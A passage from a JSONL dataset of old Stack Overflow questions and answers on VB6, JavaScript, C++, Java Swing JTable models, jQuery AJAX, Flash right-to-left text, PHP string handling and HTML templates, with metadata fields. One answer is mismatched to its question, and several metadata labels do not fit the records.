Minimized'\n\n        '***Error Codes***'\n        Private Const ERROR_SUCCESS = 32&\n        Private Const ERROR_NO_ASSOC = 31&\n        Private Const ERROR_OUT_OF_MEM = 0&\n        Private Const ERROR_FILE_NOT_FOUND = 2&\n        Private Const ERROR_PATH_NOT_FOUND = 3&\n        Private Const ERROR_BAD_FORMAT = 11&\n\n' Returns 'True' if file was opened ...'\nPublic Function fHandleFile(ByVal stFile As String, _\n                            ByVal lShowHow As Long, _\n                            ByRef stRet As String, _\n                            Optional ByVal bWaitForClose As Boolean = False) As Boolean\nOn Error GoTo err_Handler\n    Dim lRet As Long\n    Dim ret As Long\n    Dim lngProcessHandle As Long\n    Dim varTaskID As Variant\n    Dim shInfo As SHELLEXECUTEINFO\n    Dim retval As Long\n\n    'First try ShellExecute'\n    With shInfo\n        .cbSize = LenB(shInfo)\n        .lpFile = stFile\n        .nShow = lShowHow\n        If bWaitForClose Then\n            .fMask = SEE_MASK_FLAG_DDEWAIT + SEE_MASK_NOCLOSEPROCESS\n        End If\n        .lpVerb = \"open\"\n    End With\n\n    Call ShellExecuteEx(shInfo)\n    lRet = shInfo.hInstApp\n\n    If lRet > ERROR_SUCCESS And bWaitForClose = True Then\n        lngProcessHandle = shInfo.hProcess\n\n        Do\n            retval = WaitForSingleObject(lngProcessHandle, 0)\n            DoEvents\n        Loop Until retval <> 258\n        ret = CloseHandle(lngProcessHandle)\n    End If\n\n    fHandleFile = (lRet > 0)\n\nexit_handler:\n    Exit Function\n\nerr_Handler:\n    RaiseError Err.Number, Err.Source, Err.Description\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.956919"}
{"id": "hf_dda035f285a6", "question": "<p>I just learned something interesting. The add method for the javascript select object in IE 6 takes only one parameter. It throws an error when you pass it two parameters which I believe is the <a href=\"http://www.w3.org/TR/1998/REC-DOM-Level-1-19981001/level-one-html.html\" rel=\"noreferrer\">standard</a>, even as <a href=\"http://msdn.microsoft.com/en-us/library/aa768859(VS.85).aspx\" rel=\"noreferrer\">documented</a> on the MSDN site.</p>\n\n<p>My question is this. What is your best-practice recommendation for programmatically adding option elements to a select element in javascript?</p>\n\n<ul>\n<li>Call the add method differently based on the value of the user agent?</li>\n<li>Wrap the select object in a class that provides the proper method signature?</li>\n<li>Use a javascript library which does this for you (specify which library)?</li>\n</ul>\n", "question_body": "", "answer": "Adding a new Option type works at least IE6 and up\n```\n```\nfunction addOption(selectID, display, value)\n{\n  var obj = document.getElementById(selectID);\n  obj.options[obj.options.length] = new Option(display, value);\n}\n```\n```\nAdditionally tested in Firefox 2, 3, Opera 8, 9.5, and Safari 4 successfully.  IE4 failed :(", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.980208"}
{"id": "hf_6eae1d5c8980", "question": "<p>Is there any real reason <strong>not</strong> to make a member function virtual in C++?  Of course, there's always the performance argument, but that doesn't seem to stick in most situations since the overhead of virtual functions is fairly low.</p>\n\n<p>On the other hand, I've been bitten a couple of times with forgetting to make a function virtual that <em>should</em> be virtual.  And that seems to be a bigger argument than the performance one.  So is there any reason not to make member functions virtual by default?</p>\n", "question_body": "", "answer": "One way to read your questions is \"Why doesn't C++ make every function virtual by default, unless the programmer overrides that default.\"  Without consulting my copy of \"Design and Evolution of C++\": this would add extra storage to every class unless every member function is made non-virtual.  Seems to me this would have required more effort in the compiler implementation, and slowed down the adoption of C++ by providing fodder to the performance obsessed (I count myself in that group.)\nAnother way to read your questions is \"Why do C++ programmers do not make every function virtual unless they have very good reasons not to?\"  The performance excuse is probably the reason.  Depending on your application and domain, this might be a good reason or not.  For example, part of my team works in market data ticker plants.  At 100,000+ messages/second on a single stream, the virtual function overhead would be unacceptable.  Other parts of my team work in complex trading infrastructure.  Making most functions virtual is probably a good idea in that context, as the extra flexibility beats the micro-optimization.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.027057"}
{"id": "hf_199ec071a607", "question": "<p>I have an idea for a web-based service. The implementation is very complex. There will be very few users, and the traffice will be fairly low, but the server-side code could require a lot of resources. Ideally I'd need to have as much control over the servers as possible.</p>\n\n<p>How should I arrange hosting for this, when it comes time to release it to the public? </p>\n\n<p>Should I do the hosting myself, from my own servers? Trouble is, since I'm not quite an expert on .NET hosting, it might take time to learn and I might make big mistakes.</p>\n\n<p>The trouble with using a hosting company is, they might steal my idea, or else, it might cost a lot. Since I'm an un-funded startup I don't have a lot of money to throw at this.</p>\n", "question_body": "", "answer": "A lot of hosting providers are able to provide you with a dedicated server or VPS (Virtual Private Server) where you run a virtual machine on shared hardware. I have used\nHostMySite\nfor VPS in the past and the service was very good. Dedicated and VPS hosting will cost much more than a shared hosting situation, but probably a safer bet than buying your own hardware, running in the high-speed backbone, dealing with backups, climate control, generators for power outages, etc.\nupdate:\nI missed the part about the hosting company stealing your idea. Somebody will take your idea, but ideas alone are worthless... it's all about the execution, and I don't think people at your hosting company would copy your code directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.050804"}
{"id": "hf_3cb8d083b720", "question": "<p>I have a team of junior developers and they want to have better understanding and usages of generics.  Anyone recommend good tutorial or articles samples that are good places to start.</p>\n", "question_body": "", "answer": "A few links:\nAn Introduction to C# Generics\nGenerics (C# Programming Guide)\nRecommended books:\nProfessional .NET 2.0 Generics\nC# in Depth", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.074149"}
{"id": "hf_b517c0cab7ab", "question": "<p>In Google groups and some other web sites, there is a 5-star rating component which is pretty neat, such as in this url:\n<a href=\"http://groups.google.com/group/Google-Picasa-Data-API/browse_thread/thread/b5a346e6429a70a7?hl=en\" rel=\"noreferrer\">http://groups.google.com/group/Google-Picasa-Data-API/browse_thread/thread/b5a346e6429a70a7?hl=en</a></p>\n\n<p>I am wondering whether there is an existing 5-star rating component in the iPhone environment. Or if there is not, if anyone has clue where to start?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I don't know of any free/available components off the top of my head, but if nobody offers one up and/or you can't find one you like, it should be fairly trivial to roll your own. In the simplest terms, you would only have to:\nCreate/Find a star icon - one outline (unselected), one filled\nCreate a UIButton and set the icons for the selected/unselected states\nCreate a container view that held your x stars and when one was selected, the container could set the selected state on any button to the left of the touched button.\nShouldn't take long at all to build...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.097410"}
{"id": "hf_366630b64964", "question": "<p>how good to use 3 point technique for risk assessment.</p>\n", "question_body": "", "answer": "Is this what you mean?\nhttp://www.aof.mod.uk/aofcontent/tactical/risk/content/tpe.htm?zoom_highlight=simulation\nIf so, it looks like that site's a pretty good overview and analysis.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.136064"}
{"id": "hf_8897fcc32ee2", "question": "<p>I'm pretty green with web services and WCF, and I'm using Windows integrated authentication - how do I get the username on the server-side interface? I believe that I'm supposed to implement a custom Behavior, or perhaps something with WCF Sessions? Any clues would be super-handy.</p>\n", "question_body": "", "answer": "have you tried\n```\nWindowsIdentity.GetCurrent();\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.252749"}
{"id": "hf_2041153614f2", "question": "<p>Trying to create a random string, x characters in length using 0-9 and a-z/A-Z and can't seem to find a good example, any ideas?</p>\n", "question_body": "", "answer": "I forgot all my VB6 (thank God) but in pseudocode it's pretty easy:\n```\nall_chars = an array of all the valid chars\n    seed random number generator\n    for i = 1 to x do\n        random_index = get a random number between 1 and length of all_chars\n        'I remember how to concat and comment in VB6 :-)\n        string = string & all_chars[random_index] \n    end for\n\n    done!\n```\nSo it's just a matter of finding out how to create an array and fill it with characters, how to get the length of the array and how to get a\nrandom number\nbetween the first and last indexes of said array.\nWell, all that and looping of course.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.275985"}
{"id": "hf_72015ca55209", "question": "<p>I'm a simple soul with simple needs, and I'm trying to configure a form.  I detest forms.</p>\n\n<p>It needs to have JavaScript to transfer the data, it needs to send an e-mail with the data to an e-mail address, and it needs to redirect visitors to a pdf.  CGI has always been confusing to me, and I don't know much JavaScript.</p>\n\n<p>I've already done the html, but the post action and the JavaScript is killing me.  It's been 4 hours of searching.  Stick a fork in me.  I'm done.</p>\n", "question_body": "", "answer": "OK, first thing's first, we need to clarify you're wording.  JavaScript and Java are two significantly different languages.\nIn order to send mail, you need to use whichever language you're using in conjunction with an SMTP server, which is what would have to be what actually sends the e-mail, not JavaScript which is client-side.\nAn example of using JavaScript to post to an SMTP server can be found here (though I wouldn't recommend this method as ActiveX is IE exclusive):\nhttp://www.ostrosoft.com/smtp_component/smtp_javascript.asp\nUltimately with JavaScript, the best method you'd use would just be posting to a non-SMTP server that then sends the data to the SMTP server.\nIf you're actually using Java, there's an optional library you can add called JavaMail to make it much easier to send mail, though again, you need to communicate with an SMTP server.\nAn example of JavaMail can be found here:\nhttp://www.javapractices.com/topic/TopicAction.do?Id=144", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.300285"}
{"id": "hf_adc6fb47a761", "question": "<p>What are the coolest new features that you guys are looking for, or that you've heard are releasing in c# 4.0.</p>\n", "question_body": "", "answer": "the dynamic keyword looks like it can bridge the gap between dynamic languages like IronRuby or IronPython quite nicely, which will probably help its adoption in the Microsoft monoculture... that excites me.\nWhile I'm intrigued by it, I'm also worried that it will be overused, like Generics and LINQ, SQLCLR, etc :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.335352"}
{"id": "hf_c0e9ba69d6e1", "question": "<p>I read through the Wikipedia article <em><a href=\"https://en.wikipedia.org/wiki/Type_system#Existential_types\" rel=\"noreferrer\">Existential types</a></em>. I gathered that they're called existential types because of the existential operator (∃). I'm not sure what the point of it is, though. What's the difference between </p>\n\n<pre><code>T = ∃X { X a; int f(X); }\n</code></pre>\n\n<p>and</p>\n\n<pre><code>T = ∀x { X a; int f(X); }\n</code></pre>\n\n<p>?</p>\n", "question_body": "", "answer": "As I understand it's a math way to describe interfaces/abstract class.\nAs for T = ∃X { X a; int f(X); }\nFor C# it would translate to a generic abstract type:\n```\n```\nabstract class MyType<T>{\n    private T a;\n\n    public abstract int f(T x);\n}\n```\n```\n\"Existential\" just means that there is some type that obey to the rules defined here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.358500"}
{"id": "hf_df715fcffd37", "question": "<p>I have a function which gets a key from the user and generates a Hashtable (on a pattern specified by the key). After creating a Hashtable, I would like to populate a JTable so that each each column represents a key and every rows represents the values associated with the key. I tried everything but couldn't get this work. I'm not creating the table from within the constructor as I need to get input from the user.</p>\n", "question_body": "", "answer": "See\nHow to Use Tables: Creating a Table Model\n.\nThe JTable constructor used by\n  SimpleTableDemo creates its table\n  model with code like this:\n```\n```\nnew AbstractTableModel() {\n    public String getColumnName(int col) {\n        return columnNames[col].toString();\n    }\n    public int getRowCount() { return rowData.length; }\n    public int getColumnCount() { return columnNames.length; }\n    public Object getValueAt(int row, int col) {\n        return rowData[row][col];\n    }\n    public boolean isCellEditable(int row, int col)\n        { return true; }\n    public void setValueAt(Object value, int row, int col) {\n        rowData[row][col] = value;\n        fireTableCellUpdated(row, col);\n    }\n}\n```\n```\nYou basically have to wrap your hashtable in the above manner. Here's an example.\n```\n```\npackage eed3si9n.hashtabletable;\n\nimport java.awt.BorderLayout;\nimport java.util.Enumeration;\nimport java.util.Hashtable;\n\nimport javax.swing.JFrame;\nimport javax.swing.JPanel;\nimport javax.swing.JScrollPane;\nimport javax.swing.JTable;\nimport javax.swing.table.AbstractTableModel;\nimport javax.swing.JButton;\nimport java.awt.Dimension;\n\npublic class MainForm extends JFrame {\n\n    private static final long serialVersionUID = 1L;\n    private JPanel jContentPane = null;  //  @jve:decl-index=0:visual-constraint=\"23,38\"\n    private JScrollPane m_scrollPane = null;\n    private JTable m_table = null;\n    private Hashtable<String, String> m_hash = null;\n    private JButton m_btnAdd = null;    \n\n    /**\n     * This is the default constructor\n     */\n    public MainForm() {\n        super();\n        initialize();\n        m_hash = new Hashtable<String, String>();\n        m_hash.put(\"Dog\", \"Bow\");\n    }\n\n    private void onButtonPressed() {\n        m_hash.put(\"Cow\", \"Moo\");\n        m_table.revalidate();\n    }\n\n    /**\n     * This method initializes this\n     * \n     * @return void\n     */\n    private void initialize() {\n        this.setSize(409, 290);\n        this.setTitle(\"JFrame\");\n        this.setContentPane(getJContentPane());\n    }\n\n    /**\n     * This method initializes jContentPane\n     * \n     * @return javax.swing.JPanel\n     */\n    private JPanel getJContentPane() {\n        if (jContentPane == null) {\n            jContentPane = new JPanel();\n            jContentPane.setLayout(new BorderLayout());\n            jContentPane.setSize(new Dimension(500, 500));\n            jContentPane.setPreferredSize(new Dimension(500, 500));\n            jContentPane.add(getM_scrollPane(), BorderLayout.NORTH);\n            jContentPane.add(getM_btnAdd(), BorderLayout.SOUTH);\n        }\n        return jContentPane;\n    }\n\n    /**\n     * This method initializes m_scrollPane \n     *  \n     * @return javax.swing.JScrollPane  \n     */\n    private JScrollPane getM_scrollPane() {\n        if (m_scrollPane == null) {\n            m_scrollPane = new JScrollPane();\n            m_scrollPane.setViewportView(getM_table());\n        }\n        return m_scrollPane;\n    }\n\n    /**\n     * This method initializes m_table  \n     *  \n     * @return javax.swing.JTable   \n     */\n    private JTable getM_table() {\n        if (m_table == null) {\n            m_table = new JTable();\n            m_table.setModel(new AbstractTableModel(){\n    private static final long serialVersionUID = 1L;\n\n    public int getColumnCount() {\n        return 2;\n    }\n\n    public int getRowCount() {\n        return m_hash.size();\n    }\n\n    public String getColumnName(int column) {\n        if (column == 0) {\n            return \"Animal\";\n        } else {\n            return \"Sound\";\n        }\n    }\n\n    public Object getValueAt(int rowIndex, int columnIndex) {\n        if (columnIndex == 0) {\n            return getKey(rowIndex);\n        } else {\n            return m_hash.get(getKey(rowIndex));\n        } // if-else\n\n    }\n\n    private String getKey(int a_index) {\n        String retval = \"\";\n        Enumeration<String> e = m_hash.keys();\n        for (int i = 0; i < a_index + 1; i++) {\n            retval = e.nextElement();\n        } // for\n\n        return retval;\n    }\n\n            });\n        }\n        return m_table;\n    }\n\n    /**\n     * This method initializes m_btnAdd \n     *  \n     * @return javax.swing.JButton  \n     */\n    private JButton getM_btnAdd() {\n        if (m_btnAdd == null) {\n            m_btnAdd = new JButton();\n            m_btnAdd.setPreferredSize(new Dimension(34, 30));\n            m_btnAdd.addActionListener(new java.awt.event.ActionListener() {\n                public void actionPerformed(java.awt.event.ActionEvent e) {\n                    onButtonPressed();\n                }\n            });\n        }\n        return m_btnAdd;\n    }\n\n    public static void main(String[] args) {\n        //Schedule a job for the event-dispatching thread:\n        //creating and showing this application's GUI.\n        javax.swing.SwingUtilities.invokeLater(new Runnable() {\n            public void run() {\n                MainForm frame = new MainForm();\n                frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n                frame.setSize(500, 500);\n                frame.setVisible(true);\n            }\n        });\n    }\n}  //  @jve:decl-index=0:visual-constraint=\"10,10\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.381958"}
{"id": "hf_61f452f7c9d0", "question": "<p>How do I select the unique elements from the list <code>{0, 1, 2, 2, 2, 3, 4, 4, 5}</code> so that I get <code>{0, 1, 3, 5}</code>, effectively removing <em>all instances of</em> the repeated elements <code>{2, 4}</code>?</p>\n", "question_body": "", "answer": "```\n```\nvar nums = new int{ 0...4,4,5};\nvar distinct = nums.Distinct();\n```\n```\nmake sure you're using Linq and .NET framework 3.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.429162"}
{"id": "hf_e9da736c6b43", "question": "<p>I always see the code like this in the blogs: </p>\n\n<pre><code>$.ajax({\n                    type: \"POST\",\n                    contentType: \"application/json; charset=utf-8\",\n                    url: \"WebService.asmx/HelloWorld\",\n                    data: \"{}\",\n                    dataType: \"json\",\n                    success: function(msg) {\n                        alert(msg.d);\n                    }\n                });\n</code></pre>\n\n<p>But I think this is run only with asp.net 3.5. I couldn't run it with 2.0. How can I use such these codes in my Applications? </p>\n", "question_body": "", "answer": "I already know this article, but It couldn't help me.\nIn my sample app, I use these codes:\nmy Jquery code:\n```\n```\n$(document).ready(function() {            \n        $('#clKaydet').click(function() {\n            $.ajax({\n                type: \"POST\",\n                contentType: \"application/json; charset=utf-8\",\n                url: \"WebService.asmx/HelloWorld\",\n                data: \"{}\",\n                dataType: \"json\",\n                success: function(msg) {\n                    alert(msg);\n                }\n            });\n\n        });\n\n    });\n```\n```\nMy Html Code:\n```\n```\n<form id=\"form1\" runat=\"server\">\n    <asp:ScriptManager ID=\"ScriptManager1\" EnablePageMethods=\"true\" runat=\"server\" />\n    <div>\n\n        <input type=\"button\" id=\"clKaydet\" runat=\"server\" value=\"Kayıt\" onclick=\"Kayit()\" />\n    </div>\n\n    </div>\n    </form>\n```\n```\nMy Webservise Code:\n```\n```\n<WebMethod()> _\nPublic Function HelloWorld() As String\n    Dim sText As String = \"Hello\"\n    Return sText\nEnd Function\n```\n```\nIs there any mistake?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.452436"}
{"id": "hf_4417591286da", "question": "<p>We are currently working with Flex creating a web application. We are having trouble taking Arabic text from the user and displaying correctly (like in a chat feature). While presumably Flash 10 will solve this problem, we don't want to force our users to upgrade.</p>\n\n<p>Flash flips the order of the sentence's words. so if I wrote something like \"Hello World\" in the text field, it will appear as \"World Hello\" in the chat area.</p>\n\n<p>Is there a standard way to work with Right to Left languages in Flash?</p>\n\n<p>*We currently flip the order of the words with a function, but it things get messed up when using English or special characters in the chat like :) or :D *</p>\n", "question_body": "", "answer": "This would appear to be a Unicode issue, and so a quick talaash via Google gave me\nUnicode in Flash\n, but probably more to the point is\nFlash: RTL (right-to-left)\n, seeing as it mentions Arabic (along with other RTL languages) as well as\nRTL text output class for Flash\n.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.487458"}
{"id": "hf_d099b03f61ae", "question": "<p>A few years ago client Java was unsuitable for web development because a remarkable part of web users did not have Java installed. ( I don't remember exact numbers, more than 10%). </p>\n\n<p>Now I see the Google Analytics stats for a big site and it tells that >98% of users have Java installed.</p>\n\n<p>Is these stats very biased by Javascript usage? As I understand Google Analytics measure only users that has Javascript.</p>\n\n<p>Is the picture similar on other big sites?</p>\n\n<p><b>Does client Java have really \"stopper\" drawbacks compared to Flash?</b></p>\n\n<p>EDIT: I mean java applets mainly, java WebStart seems to be not suitable for average user.<br>\nI mention Javascript only to describe the way Google Analytics works.</p>\n", "question_body": "", "answer": "When I wrote my diploma project, I had to choose between Flash and Java Applets. Here are some pros and cons:\nJava Applets:\n[plus] you program in Java, which is mature and stable\n[plus] you can use the Java GUI frameworks that pack a lot of punch\n[minus] the first time the user hits the page with the applet, the JVM must be initialized and this can take up to a few minutes even on a fast computer\n[minus] Applets are not meant to be used as animation media; sure, you can do stuff, but it is like programming in C - you do everything from scratch\nexample: i needed to show a data packet as it moved between two routers. The packet must be a control of some sort, like a button or smth. This animation can be defined in 1 line of code in Flash, where all objects derive from some base object that can be animated. I could not find a suitable solution in Java.\nFlash:\n[plus] really really focused on animations;\n[plus] ActionScript is actually an OO language\n[minus] ActionScript is sloppy, bughish and has only a few supporters. If you are stuck, be prepared to search obscure Japanese forums for solutions\n[minus] ActionSCript may be OO, but it lacks a lot of features, like Enums, fully fledged interfaces, threads (!!!!) etc.\n[minus] Flash was designed to be used by non-tech people - they just use the authoring tool; I wrote code for everything and it worked, but it was a pain.\nMy conclusion:\nI eagerly await a programming paradigm for animations and rich client interfaces.\nps: Silverlight seems to be a disappointment so far, maybe Microsoft will inject some $ into it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.558588"}
{"id": "hf_d0256a353f14", "question": "<p>I want to decode a string that has been encoded using the <code>java.net.URLEncoder.encode()</code> method.</p>\n\n<p>I tried using the <code>unescape()</code> function in javascript, but a problem occurs for blank spaces because <code>java.net.URLEncoder.encode()</code> converts a blank space \nto '+' but <code>unescape()</code> won't convert '+' to a blank space.</p>\n", "question_body": "", "answer": "When I wrote my diploma project, I had to choose between Flash and Java Applets. Here are some pros and cons:\nJava Applets:\n[plus] you program in Java, which is mature and stable\n[plus] you can use the Java GUI frameworks that pack a lot of punch\n[minus] the first time the user hits the page with the applet, the JVM must be initialized and this can take up to a few minutes even on a fast computer\n[minus] Applets are not meant to be used as animation media; sure, you can do stuff, but it is like programming in C - you do everything from scratch\nexample: i needed to show a data packet as it moved between two routers. The packet must be a control of some sort, like a button or smth. This animation can be defined in 1 line of code in Flash, where all objects derive from some base object that can be animated. I could not find a suitable solution in Java.\nFlash:\n[plus] really really focused on animations;\n[plus] ActionScript is actually an OO language\n[minus] ActionScript is sloppy, bughish and has only a few supporters. If you are stuck, be prepared to search obscure Japanese forums for solutions\n[minus] ActionSCript may be OO, but it lacks a lot of features, like Enums, fully fledged interfaces, threads (!!!!) etc.\n[minus] Flash was designed to be used by non-tech people - they just use the authoring tool; I wrote code for everything and it worked, but it was a pain.\nMy conclusion:\nI eagerly await a programming paradigm for animations and rich client interfaces.\nps: Silverlight seems to be a disappointment so far, maybe Microsoft will inject some $ into it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.582377"}
{"id": "hf_669b21a1722d", "question": "<p>I recently wrote a class for an assignment in which I had to store names in an ArrayList (in java). I initialized the ArrayList as an instance variable <code>private ArrayList&lt;String&gt; names</code>. Later when I checked my work against the solution, I noticed that they had initialized their ArrayList in the <code>run()</code> method instead.</p>\n\n<p>I thought about this for a bit and I kind of feel it might be a matter of taste, but in general how does one choose in situations like this? Does one take up less memory or something?</p>\n\n<p>PS I like the instance variables in Ruby that start with an @ symbol: they are lovelier.</p>\n\n<p>(meta-question: What would be a better title for this question?)</p>\n", "question_body": "", "answer": "In the words of the great Knuth \"Premature optimization is the root of all evil\".\nJust worry that your program functions correctly and that it does not have bugs. This is far more important than an obscure optimization that will be hard to debug later on.\nBut to answer your question - if you initialize in the class member, the memory will be allocated the first time a mention of your class is done in the code (i.e. when you call a method from it). If you initialize in a method, the memory allocation occurs later, when you call this specific method.\nSo it is only a question of initializing later... this is called lazy initialization in the industry.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.606070"}
{"id": "hf_aff9ea15f420", "question": "<p>I have a number of user permissions that are tested throughout my ASP.NET application. These permission values are referenced in an Enum so that I can conveniently test permissions like so:</p>\n\n<ul>\n<li>btnCreate.Enabled = PermissionManager.TestPermission(Permission.AllowCreate);</li>\n</ul>\n\n<p>However, I also have these permissions stored in the database because I need hold more info about them than just their Id. But this creates a horrible dependency between the enum values and those in the database, an ill considered change to either and I have problems throughout my application. Is there a better way around this issue? Has anyone dealt with this before?</p>\n", "question_body": "", "answer": "I do not know what the best solution is, I would like to hear that. \nOur solution is to explicitly type the enum like\n```\n```\npublic enum MyEnum : int \n{\n   None =0,\n   Value = 1,\n   AnotherValue =2 \n}\n```\n```\nAnd save the integer value to the database. When for instance the Value 1 is removed, you will still be able to use the enumeration and AnotherValue still has the value 2 in the database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.629503"}
{"id": "hf_1b200ae8ef67", "question": "<p>I want to discard all remaining characters in a string as soon as one of several unwanted characters is encountered.</p>\n<p>As soon as a blacklisted character is encountered, the string before that point should be returned.</p>\n<p>For instance, if I have an array:</p>\n<pre><code>$chars = array(&quot;a&quot;, &quot;b&quot;, &quot;c&quot;);\n</code></pre>\n<p>How would I go through the following string...</p>\n<pre><code>log dog hat bat\n</code></pre>\n<p>...and end up with:</p>\n<pre><code>log dog h\n</code></pre>\n", "question_body": "", "answer": "The\nstrcspn\nfunction is what you are looking for.\n```\n```\n<?php\n\n$mask = \"abc\";\n\n$string = \"log dog hat bat\";\n\n$result = substr($string,0,strcspn($string,$mask));\n\nvar_dump($result);\n\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.652749"}
{"id": "hf_955d9e880158", "question": "<p>This follows on from <a href=\"https://stackoverflow.com/questions/292395/php-templating\">this question</a> where I was getting a few answers assuming I was using files for storing my HTML templates.</p>\n\n<p>Before recently I've always saved 'compiled' templates as html files in a directory (above the root). My templates usually have two types of variable - 'static' variables which are not replaced on every usage but are used across the site - basically for ease of maintenanceif I decide to change the site name for example; and dynamic vars that change on every page load.</p>\n\n<p>I always used to save these as files on the server - but my friend pointed out something I'd overlooked: why have 5-10 filesystem calls when you can have one database call?</p>\n\n<p><strong>What I want to know is which is more efficient? Calling several HTML files from the system or calling several rows of templates from the database (in one query/call).</strong></p>\n", "question_body": "", "answer": "Don't Store Editable HTML In the database\nSeriously, because the maintenance overhead for mere changes becomes exhaustive once you realise you can no longer just pop open a text editor.\nI worked on many projects which had HTML content in the database, and it was a constant nightmare of \"find that row the content is on\" and I really would liked to have\nshot\nthe person whom made it.\nAlso,\nDON'T PREMATURELY OPTIMISE\n. If you find it a problem thats slowing the project down, then change it. Because making the code exhaustively less maintainable to save a millisecond. But design the code well enough that should you need to change where the content comes from later it should be easy to do.\nSurely that can be resolved by having\n  a suitable web interface for editing\n  the templates?\nErm, really not, unless you're only trying to compete with notepad. Syntax highlighting and all the other full host of features you can get in a standard editor just make your developers suicidal when they find themselves editing web pages by hacking at an undersized text area with awful white on black ( not to mention the extra fun you get with having to worry about entity encoding etc, for instance, try editing html with in a text area where the html content contains a text area element! )\nOn FileIO\nWhile File IO can be a bottleneck, keep in mind that if you have a proper linux install, and plenty of memory, a handy thing known as \"disk-cache\" takes effect, which in effect, keeps files used in memory, so file IO becomes mere memcpy.\nOn the contrary, in real stress tests on any of the code I have used, the biggest slowdowns have been in the database!, primarily the nice slow CONNECT string, query parse time, extra php<->mysql interactions.  You're not really looking at gaining anything. Filesystem lookup is close to database index lookup, and you don't have any unknowns other than \"you need to stream it from a disk\", no table 